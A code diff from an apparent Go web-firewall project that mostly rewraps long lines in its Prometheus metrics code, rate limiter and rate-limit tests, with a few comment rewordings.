|
[]string{"window", "kind"},
|
||||||
|
),
|
||||||
offences: counterVec("sww_offences_total",
|
offences: counterVec("sww_offences_total",
|
||||||
"Offences, by kind.", []string{"kind"}),
|
"Offences, by kind.", []string{"kind"}),
|
||||||
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
|
coreRuleSetMatches: counterVec(
|
||||||
|
"sww_core_rule_set_matches_total",
|
||||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
||||||
"and the rule's id.", []string{"mode", "rule_id"}),
|
"and the rule's id.",
|
||||||
|
[]string{"mode", "rule_id"},
|
||||||
|
),
|
||||||
countries: newCountries(topN),
|
countries: newCountries(topN),
|
||||||
asns: newASNs(topN),
|
asns: newASNs(topN),
|
||||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
@@ -114,24 +124,41 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
Name: "sww_geojs_failures_total",
|
Name: "sww_geojs_failures_total",
|
||||||
Help: "Requests to GeoJS that failed.",
|
Help: "Requests to GeoJS that failed.",
|
||||||
}),
|
}),
|
||||||
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
|
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(
|
||||||
|
prometheus.CounterOpts{
|
||||||
Name: "sww_requests_without_geojs_answer_total",
|
Name: "sww_requests_without_geojs_answer_total",
|
||||||
Help: "Requests that needed their client's answer from GeoJS and " +
|
Help: "Requests that needed their client's answer from GeoJS and " +
|
||||||
"went on without it, because GeoJS had not given it in time.",
|
"went on without it, because GeoJS had not given it in time.",
|
||||||
}),
|
},
|
||||||
|
),
|
||||||
stateFileWrites: counterVec("sww_state_file_writes_total",
|
stateFileWrites: counterVec("sww_state_file_writes_total",
|
||||||
"Writes of each state file.", byFile),
|
"Writes of each state or cache file.", byFile),
|
||||||
stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
|
stateFileWriteFailures: counterVec(
|
||||||
"Writes of each state file that failed.", byFile),
|
"sww_state_file_write_failures_total",
|
||||||
stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
|
"Writes of each state or cache file that failed.",
|
||||||
"When each state file was last written, in seconds since 1970.", byFile),
|
byFile,
|
||||||
stateFileSize: gaugeVec("sww_state_file_size_bytes",
|
),
|
||||||
"The size of each state file, as it was last written.", byFile),
|
stateFileLastWrite: gaugeVec(
|
||||||
stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
|
"sww_state_file_last_write_timestamp_seconds",
|
||||||
"Edits of each state file taken in while running.", byFile),
|
"When each state or cache file was last written, in seconds since 1970.",
|
||||||
stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
|
byFile,
|
||||||
"Edits of each state file renamed to <name>.bad because they did not parse.",
|
),
|
||||||
byFile),
|
stateFileSize: gaugeVec(
|
||||||
|
"sww_state_file_size_bytes",
|
||||||
|
"The size of each state or cache file, as it was last written.",
|
||||||
|
byFile,
|
||||||
|
),
|
||||||
|
stateFileEditsTakenIn: counterVec(
|
||||||
|
"sww_state_file_edits_taken_in_total",
|
||||||
|
"Edits of each state or cache file taken in while running.",
|
||||||
|
byFile,
|
||||||
|
),
|
||||||
|
stateFileEditsSetAside: counterVec(
|
||||||
|
"sww_state_file_edits_set_aside_total",
|
||||||
|
"Edits of each state or cache file renamed to <name>.bad because they "+
|
||||||
|
"did not parse.",
|
||||||
|
byFile,
|
||||||
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
@@ -160,13 +187,15 @@ func (m *Metrics) AddBansAndClients(
|
|||||||
for _, cause := range []string{
|
for _, cause := range []string{
|
||||||
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
|
||||||
} {
|
} {
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(
|
||||||
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_bans_made_total",
|
Name: "sww_bans_made_total",
|
||||||
Help: "Bans made, by cause.",
|
Help: "Bans made, by cause.",
|
||||||
ConstLabels: prometheus.Labels{"cause": cause},
|
ConstLabels: prometheus.Labels{"cause": cause},
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(ledger.Made(cause))
|
return float64(ledger.Made(cause))
|
||||||
}))
|
}),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
@@ -200,9 +229,11 @@ func (m *Metrics) AddBansAndClients(
|
|||||||
// ruleFiles, read as the metrics are asked for. It is called once, before
|
// ruleFiles, read as the metrics are asked for. It is called once, before
|
||||||
// RuleMatched.
|
// RuleMatched.
|
||||||
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
||||||
m.ruleMatches = counterVec("sww_rule_matches_total",
|
m.ruleMatches = counterVec(
|
||||||
|
"sww_rule_matches_total",
|
||||||
"Requests that matched a rule of the rule files, by its id and action.",
|
"Requests that matched a rule of the rule files, by its id and action.",
|
||||||
[]string{"rule_id", "action"})
|
[]string{"rule_id", "action"},
|
||||||
|
)
|
||||||
|
|
||||||
m.registry.MustRegister(m.ruleMatches,
|
m.registry.MustRegister(m.ruleMatches,
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
@@ -245,7 +276,10 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
|||||||
// returns, and the replacements of it that could not be read, which
|
// returns, and the replacements of it that could not be read, which
|
||||||
// readFailures returns. The lookup package's File, which has both, cannot
|
// readFailures returns. The lookup package's File, which has both, cannot
|
||||||
// be named here: that package counts GeoJS's requests in these metrics.
|
// be named here: that package counts GeoJS's requests in these metrics.
|
||||||
func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
|
func (m *Metrics) AddLookupFile(
|
||||||
|
lastRead func() time.Time,
|
||||||
|
readFailures func() int,
|
||||||
|
) {
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_lookup_database_last_read_timestamp_seconds",
|
Name: "sww_lookup_database_last_read_timestamp_seconds",
|
||||||
@@ -274,24 +308,38 @@ const sourceLabel = "source"
|
|||||||
// metrics are asked for, for a list, the fetches that failed and when the
|
// metrics are asked for, for a list, the fetches that failed and when the
|
||||||
// copy in use was fetched, and for a zone, the queries made and those that
|
// copy in use was fetched, and for a zone, the queries made and those that
|
||||||
// failed. It is called once, before ReputationHit.
|
// failed. It is called once, before ReputationHit.
|
||||||
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
|
func (m *Metrics) AddReputation(
|
||||||
m.reputationHits = counterVec("sww_reputation_hits_total",
|
lists *reputation.Lists,
|
||||||
|
dnsbl *reputation.DNSBL,
|
||||||
|
) {
|
||||||
|
m.reputationHits = counterVec(
|
||||||
|
"sww_reputation_hits_total",
|
||||||
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
||||||
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
||||||
[]string{sourceLabel})
|
[]string{sourceLabel},
|
||||||
|
)
|
||||||
m.registry.MustRegister(m.reputationHits)
|
m.registry.MustRegister(m.reputationHits)
|
||||||
|
|
||||||
for _, zone := range dnsbl.Zones() {
|
for _, zone := range dnsbl.Zones() {
|
||||||
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
|
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
|
||||||
|
|
||||||
m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
|
m.addReputationQueries(
|
||||||
m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
|
source,
|
||||||
|
func() int { return dnsbl.Queries(zone) },
|
||||||
|
)
|
||||||
|
m.addReputationFailures(
|
||||||
|
source,
|
||||||
|
func() int { return dnsbl.Failures(zone) },
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, listURL := range lists.URLs() {
|
for _, listURL := range lists.URLs() {
|
||||||
source := prometheus.Labels{sourceLabel: listURL}
|
source := prometheus.Labels{sourceLabel: listURL}
|
||||||
|
|
||||||
m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
|
m.addReputationFailures(
|
||||||
|
source,
|
||||||
|
func() int { return lists.Failures(listURL) },
|
||||||
|
)
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_reputation_last_fetch_timestamp_seconds",
|
Name: "sww_reputation_last_fetch_timestamp_seconds",
|
||||||
@@ -393,7 +441,10 @@ func (m *Metrics) RequestStarted() {
|
|||||||
|
|
||||||
// RequestEnded counts a request that has ended without being passed to the app,
|
// RequestEnded counts a request that has ended without being passed to the app,
|
||||||
// from its log line. duration is how long the request took.
|
// from its log line. duration is how long the request took.
|
||||||
func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
|
func (m *Metrics) RequestEnded(
|
||||||
|
line *requestlog.Line,
|
||||||
|
duration time.Duration,
|
||||||
|
) {
|
||||||
m.inFlight.Dec()
|
m.inFlight.Dec()
|
||||||
m.count(line, duration, 0)
|
m.count(line, duration, 0)
|
||||||
}
|
}
|
||||||
@@ -447,8 +498,8 @@ func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
|||||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileWritten counts a write of the state file name, of size bytes,
|
// StateFileWritten counts a write of the state or cache file name, of size
|
||||||
// that ended with err.
|
// bytes, that ended with err.
|
||||||
func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
||||||
m.stateFileWrites.WithLabelValues(name).Inc()
|
m.stateFileWrites.WithLabelValues(name).Inc()
|
||||||
|
|
||||||
@@ -466,13 +517,13 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
|||||||
m.stateFileSize.WithLabelValues(name).Set(float64(size))
|
m.stateFileSize.WithLabelValues(name).Set(float64(size))
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileEditTakenIn counts an admin's edit of the state file name
|
// StateFileEditTakenIn counts an admin's edit of the state or cache file name
|
||||||
// taken in while sww runs.
|
// taken in while sww runs.
|
||||||
func (m *Metrics) StateFileEditTakenIn(name string) {
|
func (m *Metrics) StateFileEditTakenIn(name string) {
|
||||||
m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
|
m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileEditSetAside counts an admin's edit of the state file name
|
// StateFileEditSetAside counts an admin's edit of the state or cache file name
|
||||||
// renamed to name.bad because it did not parse.
|
// renamed to name.bad because it did not parse.
|
||||||
func (m *Metrics) StateFileEditSetAside(name string) {
|
func (m *Metrics) StateFileEditSetAside(name string) {
|
||||||
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
|
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
|
||||||
@@ -485,8 +536,10 @@ func (m *Metrics) count(
|
|||||||
) {
|
) {
|
||||||
class := statusClass(line.Status)
|
class := statusClass(line.Status)
|
||||||
m.requests.WithLabelValues(class, line.Action).Inc()
|
m.requests.WithLabelValues(class, line.Action).Inc()
|
||||||
m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
|
m.requestBytes.WithLabelValues(class, line.Action).
|
||||||
m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
|
Add(float64(line.RequestBytes))
|
||||||
|
m.responseBytes.WithLabelValues(class, line.Action).
|
||||||
|
Add(float64(line.ResponseBytes))
|
||||||
m.requestDuration.Observe(duration.Seconds())
|
m.requestDuration.Observe(duration.Seconds())
|
||||||
|
|
||||||
if upstreamDuration > 0 {
|
if upstreamDuration > 0 {
|
||||||
@@ -504,7 +557,10 @@ func (m *Metrics) count(
|
|||||||
|
|
||||||
// addReputationQueries adds the counter of the queries to source, a DNSBL
|
// addReputationQueries adds the counter of the queries to source, a DNSBL
|
||||||
// zone, or of the checks of clients with AbuseIPDB, which count tells.
|
// zone, or of the checks of clients with AbuseIPDB, which count tells.
|
||||||
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
|
func (m *Metrics) addReputationQueries(
|
||||||
|
source prometheus.Labels,
|
||||||
|
count func() int,
|
||||||
|
) {
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_reputation_queries_total",
|
Name: "sww_reputation_queries_total",
|
||||||
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
|
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
|
||||||
@@ -517,7 +573,10 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
|
|||||||
// addReputationFailures adds the counter of the fetches of source, a
|
// addReputationFailures adds the counter of the fetches of source, a
|
||||||
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
|
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
|
||||||
// that failed, which count tells.
|
// that failed, which count tells.
|
||||||
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
|
func (m *Metrics) addReputationFailures(
|
||||||
|
source prometheus.Labels,
|
||||||
|
count func() int,
|
||||||
|
) {
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_reputation_failures_total",
|
Name: "sww_reputation_failures_total",
|
||||||
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
|
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
|
||||||
@@ -544,12 +603,17 @@ func statusClass(status int) string {
|
|||||||
// counterVec returns a counter named name, described by help, with a
|
// counterVec returns a counter named name, described by help, with a
|
||||||
// series for each set of values of labels.
|
// series for each set of values of labels.
|
||||||
func counterVec(name, help string, labels []string) *prometheus.CounterVec {
|
func counterVec(name, help string, labels []string) *prometheus.CounterVec {
|
||||||
return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
|
return prometheus.NewCounterVec(
|
||||||
labels)
|
prometheus.CounterOpts{Name: name, Help: help},
|
||||||
|
labels,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// gaugeVec returns a gauge named name, described by help, with a series
|
// gaugeVec returns a gauge named name, described by help, with a series
|
||||||
// for each set of values of labels.
|
// for each set of values of labels.
|
||||||
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
|
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
|
||||||
return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
|
return prometheus.NewGaugeVec(
|
||||||
|
prometheus.GaugeOpts{Name: name, Help: help},
|
||||||
|
labels,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
@@ -27,7 +27,11 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
|
|||||||
// refused.
|
// refused.
|
||||||
{Status: 404},
|
{Status: 404},
|
||||||
} {
|
} {
|
||||||
limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
|
limiter.AddToHistory(
|
||||||
|
client,
|
||||||
|
start.Add(time.Duration(i)*time.Minute),
|
||||||
|
r,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
want := ratelimit.History{
|
want := ratelimit.History{
|
||||||
@@ -63,7 +67,13 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
|
|||||||
|
|
||||||
// A later answer replaces it, and one for a client the table does not
|
// A later answer replaces it, and one for a client the table does not
|
||||||
// hold adds no client.
|
// hold adds no client.
|
||||||
limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
|
limiter.AddLookup(
|
||||||
|
client,
|
||||||
|
start.Add(time.Hour),
|
||||||
|
"AS64497",
|
||||||
|
"Other Net",
|
||||||
|
"FR",
|
||||||
|
)
|
||||||
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
|
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
|
||||||
|
|
||||||
want := ratelimit.History{
|
want := ratelimit.History{
|
||||||
@@ -96,7 +106,11 @@ func TestResetKeepsTheHistory(t *testing.T) {
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
wantCount(t, limiter, client, start, "")
|
wantCount(t, limiter, client, start, "")
|
||||||
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
|
limiter.AddToHistory(
|
||||||
|
client,
|
||||||
|
start,
|
||||||
|
ratelimit.Request{Forwarded: true},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
limiter.Reset(client)
|
limiter.Reset(client)
|
||||||
|
|||||||
@@ -92,7 +92,7 @@ type History struct {
|
|||||||
ASName string `json:"as_name,omitempty"`
|
ASName string `json:"as_name,omitempty"`
|
||||||
Country string `json:"country,omitempty"`
|
Country string `json:"country,omitempty"`
|
||||||
LookedUp time.Time `json:"looked_up,omitzero"`
|
LookedUp time.Time `json:"looked_up,omitzero"`
|
||||||
// Requests are all the client's requests: Forwarded those discriminator allowed,
|
// Requests are all the client's requests: Forwarded those waf allowed,
|
||||||
// Refused those it refused, and neither those for a path under
|
// Refused those it refused, and neither those for a path under
|
||||||
// /_sww/.
|
// /_sww/.
|
||||||
Requests int64 `json:"requests"`
|
Requests int64 `json:"requests"`
|
||||||
@@ -136,7 +136,7 @@ type Offences struct {
|
|||||||
|
|
||||||
// Request is what a client's history keeps of one of its requests.
|
// Request is what a client's history keeps of one of its requests.
|
||||||
type Request struct {
|
type Request struct {
|
||||||
// Forwarded is true for a request discriminator allowed, and Refused for one it
|
// Forwarded is true for a request waf allowed, and Refused for one it
|
||||||
// refused. Both are false for a request for a path under /_sww/.
|
// refused. Both are false for a request for a path under /_sww/.
|
||||||
Forwarded bool
|
Forwarded bool
|
||||||
Refused bool
|
Refused bool
|
||||||
@@ -241,7 +241,8 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
|
|||||||
buckets := c.buckets()
|
buckets := c.buckets()
|
||||||
|
|
||||||
for i, w := range l.windows {
|
for i, w := range l.windows {
|
||||||
if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
|
if w.limit > 0 &&
|
||||||
|
buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -271,7 +272,12 @@ func (l *Limiter) CountRefusal(
|
|||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
|
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
|
||||||
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
|
hit := Hit{
|
||||||
|
Kind: KindRefusals,
|
||||||
|
Window: "minute",
|
||||||
|
Limit: threshold,
|
||||||
|
Count: count,
|
||||||
|
}
|
||||||
|
|
||||||
return hit, count > float64(threshold)
|
return hit, count > float64(threshold)
|
||||||
}
|
}
|
||||||
@@ -292,7 +298,11 @@ func (l *Limiter) Reset(client netip.Prefix) {
|
|||||||
|
|
||||||
// AddToHistory adds r, a request from client at now, to the client's
|
// AddToHistory adds r, a request from client at now, to the client's
|
||||||
// history.
|
// history.
|
||||||
func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
|
func (l *Limiter) AddToHistory(
|
||||||
|
client netip.Prefix,
|
||||||
|
now time.Time,
|
||||||
|
r Request,
|
||||||
|
) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
@@ -470,7 +480,13 @@ func (l *Limiter) count(
|
|||||||
for i, w := range l.windows {
|
for i, w := range l.windows {
|
||||||
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
|
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
|
||||||
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
|
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
|
||||||
limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
|
limit, byteLimit := percentOf(
|
||||||
|
w.limit,
|
||||||
|
percent,
|
||||||
|
), percentOf(
|
||||||
|
w.byteLimit,
|
||||||
|
percent,
|
||||||
|
)
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case hit.Window != "":
|
case hit.Window != "":
|
||||||
|
|||||||
@@ -26,13 +26,17 @@ const (
|
|||||||
hour = "hour"
|
hour = "hour"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
|
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
now := midnight()
|
now := midnight()
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
|
|
||||||
if limiter.OverARateLimit(client, now) {
|
if limiter.OverARateLimit(client, now) {
|
||||||
t.Error("a client never seen is over a rate limit")
|
t.Error("a client never seen is over a rate limit")
|
||||||
@@ -44,7 +48,9 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
if limiter.OverARateLimit(client, now) {
|
if limiter.OverARateLimit(client, now) {
|
||||||
t.Error("a client with room for another request is over a rate limit")
|
t.Error(
|
||||||
|
"a client with room for another request is over a rate limit",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, client, now, "")
|
wantCount(t, limiter, client, now, "")
|
||||||
@@ -56,7 +62,11 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
|
|||||||
|
|
||||||
held, _ := limiter.Client(client)
|
held, _ := limiter.Client(client)
|
||||||
if held.Minute.Current != limit {
|
if held.Minute.Current != limit {
|
||||||
t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
|
t.Errorf(
|
||||||
|
"the client's minute holds %d requests, want %d",
|
||||||
|
held.Minute.Current,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, client, now, minute)
|
wantCount(t, limiter, client, now, minute)
|
||||||
@@ -99,7 +109,13 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
|
|||||||
// A quarter into the next bucket, the window still covers three
|
// A quarter into the next bucket, the window still covers three
|
||||||
// quarters of the bucket before, with its four requests: 3 + 1
|
// quarters of the bucket before, with its four requests: 3 + 1
|
||||||
// is over the limit.
|
// is over the limit.
|
||||||
wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
|
wantCount(
|
||||||
|
t,
|
||||||
|
limiter,
|
||||||
|
client,
|
||||||
|
start.Add(tc.length+quarter),
|
||||||
|
tc.window,
|
||||||
|
)
|
||||||
|
|
||||||
// Three quarters into it, a quarter: 1 + 2 is within.
|
// Three quarters into it, a quarter: 1 + 2 is within.
|
||||||
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
|
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
|
||||||
@@ -110,7 +126,10 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
|
|||||||
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
|
limiter := ratelimit.New(
|
||||||
|
ratelimit.Limits{PerMinute: limit, PerHour: limit},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -128,16 +147,22 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
|||||||
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
|
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf("request over the limit gives %+v and %t, want %+v and true",
|
t.Errorf(
|
||||||
hit, over, want)
|
"request over the limit gives %+v and %t, want %+v and true",
|
||||||
|
hit,
|
||||||
|
over,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -151,9 +176,19 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
|||||||
|
|
||||||
_, hit, over := limiter.Count(client, start, 50)
|
_, hit, over := limiter.Count(client, start, 50)
|
||||||
|
|
||||||
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
|
want := ratelimit.Hit{
|
||||||
|
Kind: ratelimit.KindRequests,
|
||||||
|
Window: minute,
|
||||||
|
Limit: 2,
|
||||||
|
Count: 3,
|
||||||
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
|
t.Errorf(
|
||||||
|
"the third request gives %+v and %t, want %+v and true",
|
||||||
|
hit,
|
||||||
|
over,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Half of the largest byte limit is still far above a TiB: working it
|
// Half of the largest byte limit is still far above a TiB: working it
|
||||||
@@ -168,8 +203,10 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Only the hour has limits: the minute's and the day's are off.
|
// Only the hour has limits: the minute's and the day's are off.
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -177,14 +214,24 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
|
|||||||
// hour's limits, which are 0; the minute's, which are off, stay off.
|
// hour's limits, which are 0; the minute's, which are off, stay off.
|
||||||
_, hit, _ := limiter.Count(client, start, 0)
|
_, hit, _ := limiter.Count(client, start, 0)
|
||||||
|
|
||||||
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
|
want := ratelimit.Hit{
|
||||||
|
Kind: ratelimit.KindRequests,
|
||||||
|
Window: hour,
|
||||||
|
Limit: 0,
|
||||||
|
Count: 1,
|
||||||
|
}
|
||||||
if hit != want {
|
if hit != want {
|
||||||
t.Errorf("the first request gives %+v, want %+v", hit, want)
|
t.Errorf("the first request gives %+v, want %+v", hit, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
